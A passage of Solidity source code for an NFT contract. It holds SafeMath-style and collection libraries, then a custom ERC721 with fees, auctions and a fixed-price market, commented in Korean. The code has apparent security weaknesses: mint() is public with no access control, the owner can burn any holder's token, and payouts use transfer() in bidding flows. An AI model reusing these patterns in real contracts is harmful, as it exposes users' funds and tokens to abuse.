} /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } abstract contract ERC721Pausable is Context,Ownable { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () { _paused = false; } function paused() public view virtual returns (bool) { return _paused; } modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } function pause() onlyOwner whenNotPaused public { _paused = true; emit Paused(_msgSender()); } function unpause() onlyOwner whenPaused public { _paused = false; emit Unpaused(_msgSender()); } } abstract contract ERC721Fees is Context,Ownable { event FeePaused(); event FeeUnPaused(); event CancelFeePaused(); event CancelFeeUnPaused(); event SetFee(uint feeRate); event SetCancelFee(uint feeRate); uint private _feeRate; uint private _cancelFeeRate; bool private _feePaused; bool private _cancelFeePaused; constructor (uint feeRate_,uint cancelFeeRate_) { _feeRate = feeRate_; _cancelFeeRate = cancelFeeRate_; _feePaused = false; _cancelFeePaused = false; } function feeRate() public view virtual returns (uint) { if(feePaused() == true){ return 0; } return _feeRate; } function cancelFeeRate() public view virtual returns (uint) { if(cancelFeePaused() == true){ return 0; } return _cancelFeeRate; } function feePaused() public view virtual returns (bool) { return _feePaused; } function cancelFeePaused() public view virtual returns (bool) { return _cancelFeePaused; } modifier whenNotFeePaused() { require(!feePaused(), "Pausable: paused"); _; } modifier whenFeePaused() { require(feePaused(), "Pausable: not paused"); _; } modifier whenNotCancelFeePaused() { require(!cancelFeePaused(), "Pausable: paused"); _; } modifier whenCancelFeePaused() { require(cancelFeePaused(), "Pausable: not paused"); _; } function feePause() onlyOwner whenNotFeePaused public { _feePaused = true; emit FeePaused(); } function feeUnPause() onlyOwner whenFeePaused public { _feePaused = false; emit FeeUnPaused(); } function cancelFeePause() onlyOwner whenNotCancelFeePaused public { _cancelFeePaused = true; emit CancelFeePaused(); } function cancelFeeUnPause() onlyOwner whenCancelFeePaused public { _cancelFeePaused = false; emit CancelFeeUnPaused(); } function setFee(uint feeRate_) onlyOwner public { require(feeRate_ <= 100, "Up to 100 commission"); _feeRate = feeRate_; emit SetFee(feeRate_); } function setCancelFee(uint feeRate_) onlyOwner public { require(feeRate_ <= 100, "Up to 100 commission"); _cancelFeeRate = feeRate_; emit SetCancelFee(feeRate_); } } abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable ,ERC721Pausable ,ERC721Fees { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using Strings for uint256; using EnumerableMap for EnumerableMap.UintToAddressMap; EnumerableMap.UintToAddressMap internal _tokenOwners; bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; mapping (address => EnumerableSet.UintSet) internal _holderTokens; mapping (uint256 => address) private _tokenApprovals; mapping (address => mapping (address => bool)) internal _operatorApprovals; mapping (uint256 => string) internal _tokenURIs; string internal _baseURI; string private _name; string private _symbol; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; constructor (string memory name_, string memory symbol_) ERC721Fees(10,10) { _name = name_; _symbol = symbol_; _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } function _ownerOf(uint256 tokenId) internal view virtual returns (address) { return _tokenOwners.get(tokenId); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data)); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId)); address owner = _ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || _operatorApprovals[owner][spender]); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data)); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0)); require(!_exists(tokenId)); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = _ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } function _transfer(address from, address to, uint256 tokenId) internal virtual { require(_ownerOf(tokenId) == from); require(to != address(0)); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId)); _tokenURIs[tokenId] = _tokenURI; } function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) internal { _tokenApprovals[tokenId] = to; emit Approval(_ownerOf(tokenId), to, tokenId); // internal owner } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { require(!paused()); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId)); return _tokenApprovals[tokenId]; } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0)); return _holderTokens[owner].length(); } function setBaseURI(string memory baseURI_) onlyOwner public virtual { _setBaseURI(baseURI_); } function baseURI() public view virtual returns (string memory) { return _baseURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId)); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } function totalSupply() public view virtual override returns (uint256) { return _tokenOwners.length(); } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _ownerOf(tokenId); } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender())); _approve(to, tokenId); } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender()); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId)); require(hasAuction(tokenId) == false); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { require(hasAuction(tokenId) == false); safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId)); require(hasAuction(tokenId) == false); _safeTransfer(from, to, tokenId, _data); } struct Offer { bool isForSale; address seller; uint minValue; uint endTime; } struct Bid { bool hasBid; address bidder; uint value; } // NFT 경매 등록 목록 mapping (uint256 => Offer) public offers; // NFT 입찰 목록 mapping (uint256 => Bid) public bids; event CreateAuction(address indexed owner,uint _tokenId, uint _minValue,uint _endTime); event CancelAuction(uint _tokenId); event EndAuction(uint _tokenId,uint price); event Bidding(uint _tokenId,uint value); event CancelBid(uint _tokenId); //경매등록 function _createAuction(uint256 _tokenId, uint _minValue,uint _auctionTime) internal virtual { require(_ownerOf(_tokenId) == msg.sender);//토큰 소유자인지 확인 Offer storage offer = offers[_tokenId]; require(offer.isForSale != true);//현재 판매중인지 확인 offers[_tokenId] = Offer(true, msg.sender, _minValue,block.timestamp + _auctionTime); emit CreateAuction(msg.sender, _tokenId, _minValue,block.timestamp + _auctionTime); } //경매취소 function _cancelAuction(uint256 _tokenId) internal virtual { require(_ownerOf(_tokenId) == msg.sender);//토큰 소유자인지 체크 Offer storage offer = offers[_tokenId]; require(offer.isForSale == true);//현재 경매중인지 체크 Bid storage bid = bids[_tokenId]; require(bid.hasBid != true);//입찰자가 있을경우 경매 취소 불가능 offers[_tokenId] = Offer(false, msg.sender, 0,0); emit CancelAuction(_tokenId); } //입찰하기 function _bid(uint256 _tokenId) internal virtual { require(_ownerOf(_tokenId) != msg.sender);//토큰 보유자 Offer storage offer = offers[_tokenId]; require(block.timestamp < offer.endTime);//경매가 종료되었을 경우 require(msg.value >= offer.minValue);//입찰 금액이 최소 입찰액보다 작은지 체크 Bid storage existing = bids[_tokenId]; require(msg.value > existing.value);//입찰금액이 이전 입찰금액보다 적을경우 트랜잭션 취소 if (existing.value > 0) { //이전 입찰자에게 이더리움을 돌려줌 address payable bidder = payable(existing.bidder); bidder.transfer(existing.value); } bids[_tokenId] = Bid(true, msg.sender, msg.value); emit Bidding(_tokenId,msg.value); } //입찰취소 function _cancelBid(uint256 _tokenId) internal virtual { Offer storage offer = offers[_tokenId]; require(offer.isForSale == true);//경매가 진행중인지 체크 require(block.timestamp < offer.endTime);//경매가 종료되었을 경우 Bid storage bid = bids[_tokenId]; require(bid.hasBid == true); require(bid.bidder == msg.sender);//입찰자가 본인인 경우 address payable bidder = payable(bid.bidder); address payable seller = payable(offer.seller); uint cancelFee = bid.value * cancelFeeRate() / 1000; bidder.transfer(bid.value - cancelFee); seller.transfer(cancelFee); bids[_tokenId] = Bid(false, address(0), 0); emit CancelBid(_tokenId); } //경매종료 function _endAuction(uint256 _tokenId) internal virtual { Offer storage offer = offers[_tokenId]; require(block.timestamp >= offer.endTime);//경매 종료 시간이 아닐경우 오류 require(offer.isForSale == true);//경매가 이미 종료된 경우 address payable seller = payable(_ownerOf(_tokenId)); Bid storage bid = bids[_tokenId]; _transfer(offer.seller, bid.bidder, _tokenId); // 수수료 uint _commissionValue = bid.value * feeRate() / 1000; uint _sellerValue = bid.value - _commissionValue; seller.transfer(_sellerValue);//판매자에게 판매대금 지급 address payable contractOwner = payable(_owner); contractOwner.transfer(_commissionValue);//발행자에게 수수료 지급 emit EndAuction(_tokenId,bid.value); _resetAuction(_tokenId); } function _resetAuction(uint256 _tokenId) internal virtual { offers[_tokenId] = Offer(false, address(0), 0,0); bids[_tokenId] = Bid(false, address(0), 0); } function hasAuction(uint256 _tokenId) public view virtual returns (bool){ Offer storage offer = offers[_tokenId]; if(offer.isForSale != true){ return false; } return true; } } abstract contract ERC721Burnable is ERC721 { function burn(uint256 _tokenId) external payable{ require(_isApprovedOrOwner(_msgSender(), _tokenId) || _owner == _msgSender(), "ERC721Burnable: caller is not owner nor approved"); Offer storage offer = offers[_tokenId]; if(offer.isForSale == true){ Bid storage bid = bids[_tokenId]; if(bid.hasBid == true){ address payable bidder = payable(bid.bidder); bidder.transfer(bid.value); } _resetAuction(_tokenId); } _burn(_tokenId); } } abstract contract Market is ERC721 { address payable public _contractOwner; mapping (uint => uint) public price; mapping (uint => bool) public listedMap; event Purchase(address indexed previousOwner, address indexed newOwner, uint price, uint nftID, string uri); event Minted(address indexed minter, uint256 price, uint nftID, string uri); event PriceUpdate(address indexed owner, uint oldPrice, uint newPrice, uint nftID); event NftListStatus(address indexed owner, uint nftID, bool isListed); //즉시 판매 생성 function mint(string memory _tokenURI, address _toAddress, uint256 _price) public returns (uint) { uint _tokenId = totalSupply() + 1; price[_tokenId] = _price; listedMap[_tokenId] = true; _safeMint(_toAddress, _tokenId); _setTokenURI(_tokenId, _tokenURI); emit Minted(_toAddress, _price, _tokenId, _tokenURI); return _tokenId; } function buy(uint _id) external payable { _validate(_id); address _previousOwner = ownerOf(_id); address _newOwner = msg.sender; _trade(_id); emit Purchase(_previousOwner, _newOwner, price[_id], _id, tokenURI(_id)); } function _validate(uint _id) internal { bool isItemListed = listedMap[_id]; require(_exists(_id)); require(isItemListed); require(msg.sender != ownerOf(_id)); } function _trade(uint _id) internal { require(msg.value >= price[_id]); address payable contractOwner = payable(_owner); address payable _buyer = payable(msg.sender); address payable _owner = payable(ownerOf(_id)); _transfer(_owner, _buyer, _id); uint _commissionValue = price[_id] * feeRate() / 1000; uint _sellerValue = price[_id] - _commissionValue; _owner.transfer(_sellerValue); contractOwner.transfer(_commissionValue); // If buyer sent more than price, we send them back their rest of funds if (msg.value > price[_id]) { _buyer.transfer(msg.value - price[_id]); } listedMap[_id] = false; } function updatePrice(uint _tokenId, uint _price) public returns (bool) { require(hasAuction(_tokenId) == false); uint oldPrice = price[_tokenId]; require(msg.sender == ownerOf(_tokenId)); price[_tokenId] = _price; emit PriceUpdate(msg.sender, oldPrice, _price, _tokenId); return true; } function updateListingStatus(uint _tokenId, bool shouldBeListed) public returns (bool) { require(msg.sender == ownerOf(_tokenId)); require(hasAuction(_tokenId) == false); listedMap[_tokenId] = shouldBeListed; emit NftListStatus(msg.sender, _tokenId, shouldBeListed); 